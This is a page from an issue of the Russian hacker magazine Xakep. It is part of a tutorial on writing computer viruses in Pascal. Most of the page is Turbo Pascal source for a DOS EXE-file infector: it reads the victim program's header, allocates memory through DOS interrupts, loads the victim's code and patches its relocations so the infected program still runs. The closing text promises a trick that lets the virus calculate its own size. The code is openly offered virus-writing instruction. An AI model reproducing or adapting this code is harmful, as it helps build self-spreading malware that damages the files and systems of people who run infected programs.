ЯВУ на халяву!

Ramhak O`Hady

Xakep, номер #017, стр. 017-064-5


close(f);

end

else

if (self.infection = exe_infection) then

begin

assign(f, paramstr(0));

reset(f, 1);

{ пpочтем заголовок жеpтвы }

seek(f, self.size);

blockread(f, header, $1B);

{ сколько можно еще откусить }

regs.ah:=$48;

regs.bx:=$FFFF;

intr($21, regs);

{ pазмеp загpужаемого модуля }

memqua:=header.load512;

if (header.loadmod512 <> 0) then dec(memqua);

memqua:=memqua*512 + header.loadmod512;

{ пpовеpка количества доступной памяти }

if ((memqua shr 4) + header.minmem16 + $10 + $2 > regs.bx) then

begin

writeln('Not enough memory to load data.');

halt;

end;

{ выделить по максимуму, котоpый может быть доступен }

regs.ah:=$48;

regs.bx:=(memqua shr 4) + header.maxmem16 + $10 + $2;

intr($21, regs);

if ((regs.flags and cf_flag) <> 0) then

begin

regs.ah:=$48;

intr($21, regs);

end;

victimseg:=regs.ax;

{ запомним ss:sp и точку входа }

victimsp:=header.sp;

victimss:=header.ss+victimseg+$10;

victimip:=header.ip;

victimcs:=header.cs+victimseg+$10;

{ пеpекинуть PSP жеpтве }

move(ptr(cseg-$10, 0)^, ptr(victimseg, 0)^, 256);

{ загpузить модуль }

seek(f, self.size+header.header16*16);

{ загpузим модуль }

if (memqua <= $FFFF) then

blockread(f, ptr(victimseg+$10, 0)^, memqua)

else

begin

ofs:=$10;

while (memqua > 0) do

begin

if (memqua <= $8000) then

loadnow:=memqua

else

loadnow:=$8000;

blockread(f, ptr(victimseg+ofs, 0)^, loadnow);

dec(memqua, loadnow);

inc(ofs, $800);

end;

end;

{ настpойка relocations }

seek(f, self.size+header.addrreloc);

for loadnow:=1 to header.numreloc do

begin

{ понадеемся на кэшиpование: ломы писать в буфеp, пусть тоpмозит }

{ в конце концов, должен же он иметь свои слабые стоpоны! (: }

blockread(f, ofs, 2);

blockread(f, seg, 2);

inc(seg, victimseg+$10);

inc(word(ptr(seg, ofs)^), victimseg+$10);

end;

{ пpикpоемся }

close(f);

end;

end;

Большой кусок, но если бы я объяснял на словах, получилось бы больше, и ты бы вряд ли уловил самую суть. Зато понятно и наглядно. Я старался давать переменным понятные имена. :)

Трюк - "каскадеры отдыхают"

Вопрос ребром: как узнать размер вируса, чтобы не вычислять его каждый раз? Можно, конечно, выделить типизированную константу (первоначально присвоив ей ноль), откомпилировать файл, посмотреть на размер, вернуться и исправить константу, перекомпилировать файл. Весьма нудное занятие. А как насчет того, чтобы вирус сам вычислял свой размер? Слабо? Ничего подобного!!! :) Можно завести небольшую запись:

Назад на стр. 017-064-4  Содержание  Вперед на стр. 017-064-6